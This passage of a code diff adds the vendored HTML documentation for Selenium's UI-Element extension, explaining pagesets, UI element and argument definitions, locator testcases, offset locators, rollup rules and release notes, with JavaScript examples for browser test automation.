+     The entire path must match (however, <code>pathPrefix</code> is taken into account if specified). If specified as a regular expression, the two regular expression characters <code>^</code> and <code>$</code> marking the start and end of the matched string are included implicitly, and should not be specified in this string. Please notice too that backslashes must be backslash-escaped in javascript strings.</td>
+    <td><pre>paths: [
+    'gotoHome.do'
+    , 'gotoAbout.do'
+    , 'gotoFaq.do'
+]</pre>
+        <pre>pathRegexp: 'goto(Home|About|Faq)\\.do'</pre>
+</tr>
+<tr><td>paramRegexps</td>
+    <td>No</td>
+    <td>(Object) a mapping from URL parameter names to regular expression strings which must match their values. If specified, the set of pages potentially included in this pageset will be further filtered by URL parameter values. There is no filtering by parameter value by default.</td>
+    <td><pre>paramRegexps: {
+    dept: '^[abcd]$'
+    , team: 'marketing'
+}</pre></td>
+</tr>
+<tr><td>pageContent</td>
+    <td>Conditional</td>
+    <td><p>(Function) a function that tests whether a page, represented by its document object, is contained in the pageset, and returns true if and only if this is the case. If specified, the set of pages potentially included in this pageset will be further filtered by content, after URL and URL parameter filtering.</p>
+    <p>Since the URL is available from the document object (<code>document.location.href</code>), you may encode the logic used for the <code>paths</code> and <code>pathRegexp</code> attributes all into the definition of <code>pageContent</code>. Thus, you may choose to omit the former if and only if using <code>pageContent</code>. Of course, you may continue to use them for clarity.</td>
+    <td><pre>pageContent: function(doc) {
+    var id = 'address-tab';
+    return doc.getElementById(id) != null;
+}</pre></td>
+</tr>
+</table>
+
+<h3><a name="ui-element-shorthand">UI-Element Shorthand</a></h3>
+
+<p>The method signature of <code>addElement()</code> is <em>(pagesetName, uiElementShorthand)</em>. <em>pagesetName</em> is the name of the pageset the UI element is being added to. <em>uiElementShorthand</em> is a complete JSON description of the UI element object in shorthand notation.</p>
+
+<p>In its simplest form, a UI element object looks like this:</p>
+
+<pre>
+map.addElement('allPages', {
+    name: 'about_link'
+    , description: 'link to the about page'
+    , locator: "//a[contains(@href, 'about.php')]"
+});
+</pre>
+
+<p>Here's a table containing information about the attributes of the UI element object. The asterisk (<code>*</code>) means any string:</p>
+
+<table>
+<tr><th>Name</th>
+    <th>Required?</th>
+    <th>Description</th>
+    <th>Example</th>
+</tr>
+<tr><td>name</td>
+    <td>Yes</td>
+    <td>(String) the name of the UI element</td>
+    <td><pre>name: 'article'</pre></td>
+</tr>
+<tr><td>description</td>
+    <td>Yes</td>
+    <td>(String) a description of the UI element. This is the main documentation for this UI element, so the more detailed, the better.</td>
+    <td><pre>description: 'front or issue page link to article'</pre></td>
+</tr>
+<tr><td>args</td>
+    <td>No</td>
+    <td>(Array) a list of arguments that modify the <code>getLocator()</code> method. If unspecified, it will be treated as an empty list.</td>
+    <td><pre>[
+    { name: 'index'
+    , description: 'the index of the author, by article'
+    , defaultValues: range(1, 5) }
+]</pre><em>See section below elaborating on attributes of argument objects.</em></td>
+</tr>
+<tr><td>locator<br />getLocator()<br /><span class="deprecated">xpath</span<br /><span class="deprecated">getXPath()</span></td>
+    <td>Yes</td>
+    <td><p>(String | Function) either a fixed locator string, or a function that returns a locator string given a set of arguments. One or the other should be defined, but not both. Under the sheets, the <code>locator</code> attribute eventually gets transcripted as a <code>getLocator()</code> function.</p><p><span class="deprecated">As of ui0.7, <code>xpath</code> and <code>getXPath()</code> have been deprecated. They are still supported for backward compatibility.</span></p></td>
+    <td><pre>locator: 'submit'</pre>
+        <pre>getLocator: function(args) {
+    return 'css=div.item:nth-child(' + args.index + ')'
+        + ' > h5 > a';
+}</pre>
+        <pre>getLocator: function(args) {
+    var label = args.label;
+    var id = this._idMap[label];
+    return '//input[@id=' + id.quoteForXPath() + ']';
+}</pre></td>
+<tr><td>genericLocator<br />getGenericLocator</td>
+    <td>No</td>
+    <td><p>(String | Function) either a fixed locator string, or a function that returns a locator string. If a function, it should take no arguments.</p><p>You may experience some slowdown when recording on pages where individual UI elements have many default locators (due to many permutations of default values over multiple arguments). This is because each default locator is potentially evaluated and matched against the interacted page element. This becomes especially problematic if several UI elements have this characteristic.</p><p>By specifying a generic locator, you give the matching engine a chance to skip over UI elements that definitely don't match. The default locators for skipped elements will not be evaluated unless the generic locator matches the interacted page element..</p></td>
+    <td><pre>genericLocator: "//table[@class='ctrl']"
+    + "/descendant::input"</pre>
+        <pre>getGenericLocator: function() {
+    return this._xpathPrefix + '/descendant::a';
+}</pre>
+</tr>
+<tr><td>getOffsetLocator</td>
+    <td>No</td>
+    <td><p>(Function) a function that returns an offset locator. The locator is offset from the element identified by a UI specifier string. The function should take this element, and the interacted page element, as arguments, and have the method signature <code>getOffsetLocator(locatedElement, pageElement)</code>. If an offset locator can't be found, a value that evaluates to <code>false</code> must be returned.</p><p>A convenient default function <code>UIElement.defaultOffsetLocatorStrategy</code> is provided so you don't have to define your own. It uses several typical strategies also employed by the IDE recording when recording normally. See the Advanced Topics section below for more information on offset locators.</p></td>
+    <td><pre>getOffsetLocator: <span class="highlight">UIElement.defaultOffsetLocatorStrategy</span></pre>
+        <pre>getOffsetLocator:
+    function(locatedElement, pageElement) {
+    if (pageElement.parentNode == locatedElement) {
+        return '/child::' + pageElement.nodeName;
+    }
+    return null;
+}</pre></td>
+<tr><td>testcase*</td>
+    <td>No</td>
+    <td>(Object) a testcase for testing the implementation of the <code>getLocator()</code> method. As many testcases as desired may be defined for each UI element. They must all start with the string "testcase".</td>
+    <td><pre>testcase1: {
+    xhtml: '&lt;div class="item"&gt;&lt;h5&gt;'
+        + '&lt;a expected-result="1" /&gt;&lt;/h5&gt;&lt;/div&gt;'
+}</pre><em>See section below elaborating on testcases.</em></td>
+</tr>
+<tr><td>_*</td>
+    <td>No</td>
+    <td>(Any data type) a "local variable" declared for the UI element. This variable will be available both within the <code>getLocator()</code> method of the UI element, and any <code>getDefaultValues()</code> methods of the arguments via the <code>this</code> keyword. They must all start with an underscore "_".</td>
+    <td><pre>_labelMap: {
+    'Name': 'user'
+    , 'Email': 'em'
+    , 'Phone': 'tel'
+}</pre></td>
+</tr>
+</table>
+
+<h3>UI-Argument Shorthand</h3>
+
+<p>UI arguments are defined as part of UI elements, and help determine how an XPath is generated. A list of arguments may be defined within the UI element JSON shorthand. Here's an example of how that might look:</p>
+
+<pre>
+map.addElement('searchPages', {
+    name: 'result'
+    , description: 'link to a result page'
+    , args: [
+        {
+            name: 'index'
+            , description: 'the index of the search result'
+            , defaultValues: range(1, 21)
+        }
+        , {
+            name: 'type'
+            , description: 'the type of result page'
+            , defaultValues: [ 'summary', 'detail' ]
+        }
+    ]
+    , getLocator: function(args) {
+        var index = args['index'];
+        var type = args['type'];
+        return "//div[@class='result'][" + index + "]"
+            + "/descendant::a[@class='" + type + "']";
+    }
+});
+</pre>
+
+<p>In the above example, two arguments are defined, <code>index</code> and <code>type</code>. Metadata is provided to describe them, and default values are also specified. FInally, the <code>getLocator()</code> method is defined. The behavior of the method depends on the values of the arguments that are passed in.</p>
+
+<p>Default values come into play when recording tests using the Selenium IDE. When you interact with a page element in recording mode, the IDE uses all the locator strategies at its disposal to deduce an appropriate locator string for that element. UI-Element introduces a new <code>ui</code> locator strategy. When applying this strategy using a particular UI element, Selenium generates a list of XPaths to try by permuting the arguments of that UI element over all default values. Here, the default values <em>{ 1, 2, 3, 4 .. 20 }</em> are given for the <code>index</code> argument using the special <code>range()</code> function, and the values <em>{ summary, detail }</em> are given for the <code>type</code> argument in standard javascript array notation. If you don't intend to use the IDE, go ahead and set the default values to the empty array <code>[]</code>.</p>
+
+<p>Here's a table containing information about the attributes of the UI argument object.</p>
+
+<table>
+<tr><th>Name</th>
+    <th>Required?</th>
+    <th>Description</th>
+    <th>Example</th>
+</tr>
+<tr><td>name</td>
+    <td>Yes</td>
+    <td>(String) the name of the argument. This will be the name of the property of the object passed into the parent UI element's <code>getLocator()</code> method containing the argument value.</td>
+    <td><pre>name: 'index'</pre></td>
+</tr>
+<tr><td>description</td>
+    <td>Yes</td>
+    <td>(String) a description for the argument.</td>
+    <td><pre>description: 'the index of the article'</pre></td>
+</tr>
+<tr><td>defaultValues<br/>getDefaultValues()</td>
+    <td>Yes</td>
+    <td><p>(Array | Function) either an array of string or numerical values, or a function that returns an array of string or numerical values. One or the other should be defined, but not both. Under the sheets, the <code>defaultValues</code> attribute eventually gets transcripted as a <code>getDefaultValues()</code> function.</p><p>The method signature of the function is <code>getDefaultValues(inDocument)</code>. <code>inDocument</code> is the current document object of the page at time of recording. In cases where the default values are known a priori, <code>inDocument</code> need not be used. If the default values of all arguments of a UI element are known a priori, the list of default locators for the element may be precalculated, resulting in better performance. If <code>inDocument</code> is used, in cases where the current document is inspected for valid values, the element's default locators are calculated once for every recordable event.</p></td>
+    <td><pre>defaultValues: [ 'alpha', 'beta', 'unlimited' ]</pre>
+        <pre>getDefaultValues: function() {
+    return keys(this._idMap);
+}</pre>
+        <pre>getDefaultValues: function(inDocument) {
+    var defaultValues = [];
+    var links = inDocument
+        .getElementsByTagName('a');
+    for (var i = 0; i < links.length; ++i) {
+        var link = links[i];
+        if (link.className == 'category') {
+            defaultValues.push(link.innerHTML);
+        }
+    }
+    return defaultValues;
+}</pre></td>
+</tr>
+</table>
+
+<h3>About <code>this</code></h3>
+
+<p>You may have noticed usage of the <code>this</code> keyword in the examples above, specifically in the <code>getLocator()</code> and <code>getDefaultValues()</code> methods. Well, what exactly is <code>this</code>?</p>
+
+<p>The answer is: it depends. The object referred to by <code>this</code> changes depending on the context in which it is being evaluated. At the time of object creation using <code>addPageset()</code> or <code>addElement()</code>, it refers to the <code>window</code> object of the Selenium IDE, which isn't useful at all. However, subsequently any time <code>getLocator()</code> is called, its <code>this</code> references the UI element object it's attached too. Thus, using <code>this</code>, any "local variables" defined for the UI element may be accessed. Similarly, when <code>getDefaultValues()</code> is called, its <code>this</code> references the UI argument object it's attached too. But ... what "local variables" are accessible by the from <code>getDefaultValues()</code>?</p>
+
+<p>There's a little magic here. If you defined your local variables as prescribed in the above <a href="#ui-element-shorthand">UI-Element Shorthand</a> section, starting with an underscore, those variable are automatically made available to the UI argument via its <code>this</code> keyword. Note that this isn't standard javascript behavior. It's implemented this way to clear out clutter in the method definitions and to avoid the use of global variables for lists and maps used within the methods. It is sometimes useful, for example, to define an object that maps human-friendly argument values to DOM element <code>id</code>'s. In such a case, <code>getDefaultValues()</code> can be made to simply return the <code>keys()</code> (or property names) of the map, while the <code>getLocator()</code> method uses the map to retrieve the associated <code>id</code> to involve in the locator.</p>
+
+<p>Also note that <code>this</code> only behaves this way in the two mentioned methods, <code>getLocator()</code> and <code>getDefaultValues()</code>; in other words you can't reference the UI element's local variables using <code>this</code> outside of methods.</p>
+
+<p>If you're interested, here's some <a href="http://www.digital-web.com/articles/scope_in_javascript/">additional reading on javascript scope</a>.</p>
+
+<h2>Advanced Topics</h2>
+
+<h3>Testcases</h3>
+
+<p>You can write testcases for your UI element implementations that are run every time the Selenium IDE is started. Any testcases that fail are reported on. The dual purpose of writing testcases is to both validate the <code>getLocator()</code> method against a representation of the real page under test, and to give a visual example of what the DOM context of a page element is expected to be.</p>
+
+<p>A testcase is an object with a required <code>xhtml</code> property (String), and a required <code>args</code> property (Object). An example is due:</p>
+
+<pre>
+testcase1: {
+    args: { line: 2, column: 3 }
+    , xhtml: '&lt;table id="scorecard"&gt;'
+        + '&lt;tr class="line" /&gt;'
+        + '&lt;tr class="line"&gt;&lt;td /&gt;&lt;td /&gt;&lt;td expected-result="1" /&gt;&lt;/tr&gt;'
+        + '&lt;/table&gt;'
+}
+</pre>
+
+<p>The <code>args</code> property specifies the object to be passed into the UI element's <code>getLocator()</code> method to generate the test locator, which is then applied to the <code>xhtml</code>. If evaluating the locator on the XHTML document returns a DOM node with the <code>expected-result</code> attribute, the testcase is considered to have passed.</p>
+
+<p>The <code>xhtml</code> property must represent a complete XML document, sans <code>&lt;html&gt;</code> tags, which are automatically added. The reason this is necessary is that the text is being converted into an XPath evaluable DOM tree via Mozilla's native XML parser. Unfortunately, there is no way to generate a simple HTML document, only XML documents. This means that the content of the <code>xhtml</code> must be well-formed. <span class="highlight">Tags should also be specified in lowercase.</span></p>
+
+<h3>Fuzzy Matching</h3>
+
+<p>Here's a real-world example of where fuzzy matching is important:</p>
+
+<pre>
+&lt;table&gt;
+&lt;tr onclick="showDetails(0)"&gt;
+    &lt;td&gt;Brahms&lt;/td&gt;
+    &lt;td&gt;Viola Quintet&lt;/td&gt;
+&lt;/tr&gt;
+&lt;tr onclick="showDetails(1)"&gt;
+    &lt;td&gt;Saegusa&lt;/td&gt;
+    &lt;td&gt;Cello 88&lt;/td&gt;
+&lt;/tr&gt;
+&lt;/table&gt;
+</pre>
+
+<p>Imagine I'm recording in the IDE. Let's say I click on "Cello 88". The IDE would create locator for this action like <code>//table/tr[2]/td[2]</code>. Does that mean that my <code>getLocator()</code> method should return the same XPath?</p>
+
+<p>Clearly not. Clicking on either of the table cells for the second row has the same result. I would like my UI element generated XPath to be <code>//table/tr[2]</code> . However, when recording, the page element that was identified as being acted upon was the table cell, which doesn't match my UI element XPath, so the <code>ui</code> locator strategy will fail to auto-populate. What to do?</p>
+
+<p>Fuzzy matching to the rescue! Fuzzy matching is realized as a fuzzy matcher function that returns true if a target DOM element is considered to be equivalent to a reference DOM element. The reference DOM element would be the element specified by the UI element's generated XPath. Currently, the fuzzy matcher considers it a match if:
+
+<ul>
+<li>the elements are the same element,</li>
+<li>the reference element is an anchor (<code>&lt;a&gt;</code>) element, and the target element is a descendant of it; or</li>
+<li>the reference element has an <code>onclick</code> attribute, and the target element is a descendant of it.</li>
+</ul>
+
+<p>This logic may or may not be sufficient for you. The good news is, it's very easy to modify. Look for the definition of <code>BrowserBot.prototype.locateElementByUIElement.is_fuzzy_match</code> in <code>ui-element.js</code> .</p>
+
+<h3>Offset Locators</h3>
+
+<p>Offset locators are locators that are appended to UI specifier strings to form composite locators. They can be automatically deduced by the IDE recorder for UI elements that have specified a <code>getOffsetLocator</code> function. This feature may be useful if your pages contain too many elements to write UI elements for. In this case, offset locators allow you to define UI elements that "anchor" other elements. Given the following markup:</p>
+
+<pre>&lt;form name="contact_info"&gt;
+    &lt;input type="text" name="foo" /&gt;
+    &lt;textarea name="bar"&gt;&lt;/textarea&gt;
+    &lt;input type="submit" value="baz" /&gt;
+&lt;/form&gt;</pre>
+
+<p>Assume that a UI element has been defined for the form element. Then the following locators containing offset locators and "anchored" off this element would be recorded using the default offset locator function (<code>UIElement.defaultOffsetLocatorStrategy</code>):</p>
+
+<pre>ui=contactPages::contact_form()<span class="highlight">->//input[@name='foo']</span>
+ui=contactPages::contact_form()<span class="highlight">->//textarea[@name='bar']</span>
+ui=contactPages::contact_form()<span class="highlight">->//input[@value='baz']</span></pre>
+
+<p>The character sequence <code>-&gt;</code> serves to delimit the offset locator from the main locator. For this reason, the sequence should not appear in the main locator, or else ambiguity will result.</p>
+
+<p>When recording with the IDE, no preference is given to matching plain vanilla UI specifier strings over ones that have offset locators. In other words, if a page element could be specified both by a UI specifier string for one UI element, and by one augmented by an offset locator for a different UI element, there is no guarantee that one or the other locator will be recorded.</p>
+
+<p>Currently, <span class="highlight">only XPath is supported as an offset locator type</span>, as it is the only locator for which a context node can be specified at evaluation time. Other locator strategies may be supported in the future.</p>
+
+<h3>Rollup Rules</h3>
+
+<p>Question: Why use rollup rules? Answer: Remember the testcase from the "Getting Motivated" section above? With rollups, that testcase can be condensed into this:</p>
+
+<pre>
+&lt;tr&gt;
+    &lt;td&gt;open&lt;/td&gt;
+    &lt;td&gt;/&lt;/td&gt;
+    &lt;td&gt;&lt;/td&gt;
+&lt;/tr&gt;
+&lt;tr&gt;
+    &lt;td&gt;rollup&lt;/td&gt;
+    &lt;td&gt;<span class="highlight">navigate_to_subtopic_article</span>&lt;/td&gt;
+    &lt;td&gt;<span class="highlight">index=2, subtopic=Creativity</span>&lt;/td&gt;
+&lt;/tr&gt;
+</pre>
+
+<p>It's inevitable that certain sequences of Selenium commands will appear in testcases over and over again. When this happens, you might wish to group several fine-grained commands into a single coarser, more semantically meaningful action. In doing so, you would abstract out the execution details for the action, such that if they were to change at some point, you would have a single point of update. In UI-Element, such actions are given their own command, called <code>rollup</code>. In a sense, rollups are a natural extension of the <code>ui</code> locator.</p>
+
+<p>UI-Element is designed with the belief that the IDE can be a useful tool for writing testcases, and need not be shunned for lack of functionality. A corollary belief is that you should be able to drive your RC test in the language of your choice. The execution of the <code>rollup</code> command by the Selenium testrunner produces the component commands, which are executed in a new context, like a function call. The logic of the rollup "expansion" is written in javascript. Corresponding logic for inferring a rollup from a list of commands is also written in javascript. Thus, the logic can be incorporated into any of the family of Selenium products as a user extension. Most notably, the IDE is made viable as a testcase creation tool that understands both how rollups expand to commands, and also how rollup rules can be "applied" to commands to reduce them to rollups.</p>
+
+<p>Rollup rule definitions appear in this general format:</p>
+
+<pre>
+var manager = new RollupManager();
+
+manager.addRollupRule({ ... });
+manager.addRollupRule({ ... });
+...
+</pre>
+
+<p>In a relatively simple form, a rollup rule looks like this:</p>
+
+<pre>
+manager.addRollupRule({
+    name: 'do_search'
+    , description: 'performs a search'
+    , args: [
+        name: 'term'
+        , description: 'the search term'
+    ]
+    , commandMatchers: [
+        {
+            command: 'type'
+            , target: 'ui=searchPages::search_box\\(.+'
+            , updateArgs: function(command, args) {
+                var uiSpecifier = new UISpecifier(command.target);
+                args.term = uiSpecifier.args.term;
+                return args;
+            }
+        }
+        , {
+            command: 'click.+'
+            , target: 'ui=searchPages::search_go\\(.+'
+        }
+    ]
+    , getExpandedCommands: function(args) {
+        var commands = [];
+        var uiSpecifier = new UISpecifier(
+            'searchPages'
+            , 'search_box'
+            , { term: args.term });
+        commands.push({
+            command: 'type'
+            , target: 'ui=' + uiSpecifier.toString()
+        });
+        commands.push({
+            command: 'clickAndWait'
+            , target: 'ui=searchPages::search_go()'
+        });
+        return commands;
+    }
+});
+</pre>
+
+<p>In the above example, a rollup rule is defined for performing a search. The rule can be "applied" to two consecutive commands that match the <code>commandMatchers</code>. The rollup takes one argument, <code>term</code>, and expands back to the original two commands. One thing to note is that the second command matcher will match all commands starting with <code>click</code>. The rollup will expand that command to a <code>clickAndWait</code>.</p>
+
+<p>Here's a table containing information about the attributes of the rollup rule object.</p>
+
+<table>
+<tr><th>Name</th>
+    <th>Required?</th>
+    <th>Description</th>
+    <th>Example</th>
+</tr>
+<tr><td>name</td>
+    <td>Yes</td>
+    <td>(String) the name of the rollup rule. This will be the target of the resulting <code>rollup</code> command.</td>
+    <td><pre>name: 'do_login'</pre></td>
+</tr>
+<tr><td>description</td>
+    <td>Yes</td>
+    <td>(String) a description for the rollup rule.</td>
+    <td><pre>description: 'logs into the application'</pre></td>
+</tr>
+<tr><td>alternateCommand</td>
+    <td>No</td>
+    <td>(String) specifies an alternate usage of rollup rules to replace commands. This string is used to replace the command name of the first matched command.</td>
+    <td><pre>alternateCommand: 'clickAndWait'</pre></td>
+</tr>
+<tr><td>pre</td>
+    <td>No</td>
+    <td>(String) a detailed summary of the preconditions that must be satisfied for the rollup to execute successfully. This metadata is easily viewable in the IDE when the rollup command is selected.</td>
+    <td><pre>pre: 'the page contains login widgets'</pre></td>
+</tr>
+<tr><td>post</td>
+    <td>No</td>
+    <td>(String) a detailed summary of the postconditions that will exist after the rollup has been executed.</td>
+    <td><pre>post: 'the user is logged in, or is \
+directed to a login error page'</pre></td>
+</tr>
+<tr><td>args</td>
+    <td>Conditional</td>
+    <td><p>(Array) a list of arguments that are used to modify the rollup expansion. These are similar to UI arguments, with the exception that <code>exampleValues</code> are provided, instead of <code>defaultValues</code>. Here, example values are used for reference purposes only; they are displayed in the rollup pane in the IDE.</p><p>This attribute may be omitted if no <code>updateArgs()</code> functions are defined for any command matchers.</td>
+    <td><pre>args: {
+    name: 'user'
+    , description: 'the username to login as'
+    , exampleValues: [
+        'John Doe'
+        , 'Jane Doe'
+    ]
+}</pre></td>
+</tr>
+<tr><td>commandMatchers<br />getRollup()</td>
+    <td>Yes</td>
+    <td><p>(Array | Function) a list of command matcher definitions, or a function that, given a list of commands, returns either 1) a rollup command if the rule is considered to match the commands (starting at the first command); or 2) false. If a function, it should have the method signature <code>getRollup(commands)</code>, and the returned rollup command (if any) must have the <code>replacementIndexes</code> attribute, which is a list of array indexes indicating which commands in the <code>commands</code> parameter are to be replaced.</p>
+    <p>If you don't intend on using the IDE with your rollups, go ahead and set this to the empty array <code>[]</code>.</p></td>
+    <td><pre>commandMatchers: [
+    {
+        command: 'type'
+        , target: 'ui=loginPages::user\\(.+'
+        , value: '.+'
+        , minMatches: 1
+        , maxMatches: 1
+        , updateArgs:
+            function(command, args) {
+            args.user = command.value;
+            return args;
+        }
+    }
+]</pre>
+        <pre>// this is a simplistic example, roughy
+// equivalent to the commandMatchers
+// example above. The <span class="highlight">to_kwargs()</span> function
+// is used to turn an arguments object into
+// a keyword-arguments string.
+getRollup: function(commands) {
+    var command = commands[0];
+    var re = /^ui=loginPages::user\(.+/;
+    if (command.command == 'type' &&
+        re.test(command.target) &&
+        command.value) {
+        var args = { user: command.value };
+        return {
+            command: 'rollup'
+            , target: this.name
+            , value: to_kwargs(args)
+            , replacementIndexes: [ 0 ]
+        };
+    }
+    return false;
+}</pre><em>See section below elaborating on command matcher objects.</em></td>
+</tr>
+<tr><td>expandedCommands<br />getExpandedCommands()</td>
+    <td>Yes</td>
+    <td><p>(Array | Function) a list of commands the rollup command expands into, or a function that, given an argument object mapping argument names to values, returns a list of expanded commands. If a function, it should have the method signature <code>getExpandedCommands(args)</code>.</p><p>Each command in the list of expanded commands should contain a <code>command</code> attribute, which is the name of the command, and optionally <code>target</code> and <code>value</code> attributes, depending on the type of command.</p><p>It is expected that providing a fixed list of expanded commands will be of limited use, as rollups will typically contain commands that have arguments, requiring more sophisticated logic to expand.</td>
+    <td><pre>expandedCommands: [
+    {
+        command: 'check'
+        , target: 'ui=termsPages::agree\\(.+'
+    }
+    , {
+        command: 'clickAndWait'
+        , target: 'ui=termsPages::submit\\(.+'
+    }
+]</pre>
+        <pre>getExpandedCommands: function(args) {
+    var commands = [];
+    commands.push({
+        command: 'type'
+        , target: 'ui=loginPages::user()'
+        , value: args.user
+    });
+    commands.push({
+        command: 'type'
+        , target: 'ui=loginPages::pass()'
+        , value: args.pass
+    });
+    commands.push({
+        command: 'clickAndWait'
+        , target: 'ui=loginPages::submit()'
+    });
+    commands.push({
+        command: 'verifyLocation'
+        , target: 'regexp:.+/home'
+    });
+    return commands;
+}</pre>
+        <pre>// if using alternateCommand
+expandedCommands: []
+</pre></td>
+</tr>
+</table>
+
+<p>The user should be able to freely record commands in the IDE, which can be collapsed into rollups at any point by applying the defined rollup rules. Healthy usage of the <code>ui</code> locator makes commands easy to match using command matcher definitions. Command matchers simplify the specification of a command match. In basic usage, for a rollup rule, you might specify 3 command matchers: <em>M1</em>, <em>M2</em>, and <em>M3</em>, that you intend to match 3 corresponding commands, <em>C1</em>, <em>C2</em>, and <em>C3</em>. In more complex usage, a single command matcher might match more than one command. For example, <em>M1</em> matches <em>C1</em> and <em>C2</em>, <em>M2</em> matches <em>C3</em>, and <em>M3</em> matches <em>C4</em>, <em>C5</em>, and <em>C6</em>. In the latter case, you would want to track the matches by updating argument values in the command matchers' <code>updateArgs()</code> methods.</p>
+
+<p>Here are the required and optional fields for command matcher objects:</p>
+
+<table>
+<tr><th>Name</th>
+    <th>Required?</th>
+    <th>Description</th>
+    <th>Example</th>
+</tr>
+<tr><td>command</td>
+    <td>Yes</td>
+    <td>(String) a simplified regular expression string that matches the command name of a command. The special regexp characters <code>^</code> and <code>$</code> are automatically included at the beginning and end of the string, and therefore should not be explicitly provided.</td>
+    <td><pre>command: 'click.+'</pre>
+        <pre>command: 'rollup'</pre></td>
+</tr>
+<tr><td>target</td>
+    <td>Yes</td>
+    <td>(String) a simplified regular expression string that matches the target of a command. Same rules as for the <code>command</code> attribute.</td>
+    <td><pre>target: 'btnG'</pre>
+        <pre>// special regexp characters must be
+// escaped in regexp strings. Backslashes
+// always need to be escaped in javascript
+// strings.
+target: 'ui=loginPages::user\\(.+'
+    </pre></td>
+</tr>
+<tr><td>value</td>
+    <td>No</td>
+    <td>(String) a simplified regular expression string that matches the value of a command. Same rules as for the <code>command</code> attribute.</td>
+    <td><pre>value: '\\d+'</pre>
+        <pre>value: (?:foo|bar)</pre></td>
+</tr>
+<tr><td>minMatches</td>
+    <td>No</td>
+    <td>(Number) the minimum number of times this command matcher must match consecutive commands for the rollup rule to match a set of commands. If unspecified, the default is 1. If <code>maxMatches</code> is also specified, <code>minMatches</code> must be less than or equal to it.</td>
+    <td><pre>minMatches: 2</pre></td>
+</tr>
+<tr><td>maxMatches</td>
+    <td>No</td>
+    <td>(Number) the maximum number of times this command matcher is allowed to match consecutive commands for the rollup rule. If unspecified, the default is 1.</td>
+    <td><pre>maxMatches: 2</pre></td>
+</tr>
+<tr><td>updateArgs()</td>
+    <td>No</td>
+    <td><p>(Function) updates an arguments object when a match has been found, and returns the updated arguments object. This method is used to keep track of the way in which one or more commands were matched. When a rollup rule is successfully applied, any argument name-value pairs are stored as the rollup command's value. At time of expanding the rollup command, the command's value is converted back to an arguments object, which is passed to the rollup rule's <code>getExpandedCommands()</code> method.</p><p>This method must have the following method signature: <code>updateArgs(command, args)</code>, where <code>command</code> is the command object that was just matched, and <code>args</code> is the arguments object for the current trial application of the parent rollup rule.</td>
+    <td><pre>// reused from above
+updateArgs: function(command, args) {
+    args.user = command.value;
+    return args;
+}</pre>
+        <pre>// for multiple matches
+updateArgs: function(command, args) {
+    if (!args.clickCount) {
+        args.clickCount = 0;
+    }
+    ++args.clickCount;
+    return args;
+}</pre>
+        <pre>// another example from above (modified).
+// If you need to parse a UI specifier,
+// instantiate a new <span class="highlight">UISpecifier</span> object with the
+// locator. To do it by the book, you should
+// first strip off the "ui=" prefix. If you just
+// want to inspect the UI specifier's args, you
+// can safely skip this step.
+updateArgs: function(command, args) {
+    var s = command.target.replace(/^ui=/, '');
+    var uiSpecifier = new UISpecifier(s);
+    args.term = uiSpecifier.args.term;
+    return args;
+}</pre>
+        <pre>// example from sample map file. If you're
+// matching a rollup command that has arguments,
+// you'll want to parse them. The easiest way
+// to do this is with the <span class="highlight">parse_kwargs()</span>
+// function, which has its roots in python.
+updateArgs: function(command, args) {
+    var args1 = parse_kwargs(command.value);
+    args.subtopic = args1.subtopic;
+    return args;
+}</pre></td>
+</tr>
+</table>
+
+<p>Too much mumbo jumbo?</p>
+
+<p>To see rollup rules in action in the IDE, use the included sample map with UI-Element (see instructions above in the "Including the Right Files" section), and grab the listing of 4 commands from the "Getting Motivated" section, above. Under the <em>Source</em> tab of the IDE, paste the commands in between the <code>&lt;tbody&gt;</code> and <code>&lt;/tbody&gt;</code> tags. Now switch back to the <em>Table</em> tab, and click the new <span class="highlight">purple spiral button</span>; this is the "Apply rollup rules" button. If done correctly, you should be prompted when rollup rule matches are found. Go ahead - go to the <a href="http://alistapart.com">alistapart.com</a> site and try executing the rollups!</p>
+
+<h2>Release Notes</h2>
+
+<h3>Core-1.0</h3>
+
+<ul>
+<li>UI-Element is now completely integrated into Selenium Core.</li>
+<li>Added offset locators. Modified the delimiter to be <code>-&gt;</code>.</li>
+<li><code>getDefaultValues()</code> can dynamically construct a list of values and assume that a <code>document</code> object is being passed in.</li>
+<li>Arguments in UI specifier strings are presented in the same order as they are defined in the mapping file (no longer alphabetically).</li>
+<li>Allow generic locators to be specified, potentially improving recording performance when there are many UI arguments.</li>
+<li>Updated documentation.</li>
+<li>Many other fixes.</li>
+</ul>
+
+<h3>ui0.7</h3>
+
+<ul>
+<li>Changed extensions id and homepage to avoid conflicting with standard Selenium IDE distribution.</li>
+<li>Added rollup button.</li>
+<li>Added UI-Element and Rollup panes, with beautiful colors and formatting.</li>
+<li>Updated referenced version of Selenium Core to 0.8.3, and RC to 0.9.2 .</li>
+<li>Added <code>quoteForXPath()</code> to <code>String</code> prototype.</li>
+<li>Made XPath uppercasing much more robust. It is now backed by the ajaxslt library. Uppercasing is no longer required by UI-Element. It is used to demonstrate how XPath transformations may be used to improve XPath evaluation performance when using the javascript engine. See <a href="http://groups.google.com/group/google-ajax-discuss/browse_thread/thread/f7a7a2014a6415d4">this thread on XPath performance</a>.
+<li>Added new <code>rollup</code> Selenium command and associated functionality with the RollupManager object.</li>
+<li>Deprecated <code>getXPath()</code> and <code>xpath</code> in favor of <code>getLocator()</code> and <code>locator</code> in the UI-Element shorthand. Testcases now work with locator types other than XPath (implicit, CSS, etc.).</li>
+<li>UI element testcases are now truly XHTML. All content is considered inner HTML of the html element, which is automatically generated. This supports the use of alternate locator types described in the above bullet.</li>
+<li>Global variables introduced by UI-Element are now properties of the variable <code>GLOBAL</code>. You can now name your map <code>uiMap</code> if you wish.</li>
+<li>Updated the sample map, including demonstration of implicit and CSS locators, Rollup Rules, and usage of <code>quoteForXPath()</code>.</li>
+<li>Improved auto-population of target dropdown with UI element locators and rollup names. The population logic is as follows: when a command is loaded from a file or inserted without having been recorded, all UI element locators are shown. After a command recorded or executed, only UI element locators for pagesets that match the page at time of recording or execution will be shown.</li>
+<li>Made UI element testcase args mandatory. This reduces the startup time for the IDE, and improves testcase readability.</li>
+<li>Updated documentation. Added this release notes section.</li>
+</ul>
+
+<h2>Final Thoughts</h2>
+
+<p>Catch UI-Element news in the <a href="http://ttwhy.org/home/blog/category/selenium/">Selenium category of my blog</a>. You can also find me on the <a href="http://clearspace.openqa.org/people/gyrm">OpenQA Forums</a>.</p>
+
+<p><em>- Haw-Bin Chai</em></p>
+
+</body>
+</html>
diff --git a/vendor/plugins/selenium-on-rails/selenium-core/scripts/ui-element.js b/vendor/plugins/selenium-on-rails/selenium-core/scripts/ui-element.js
new file mode 100644
index 00000000..58709ce0
--- /dev/null
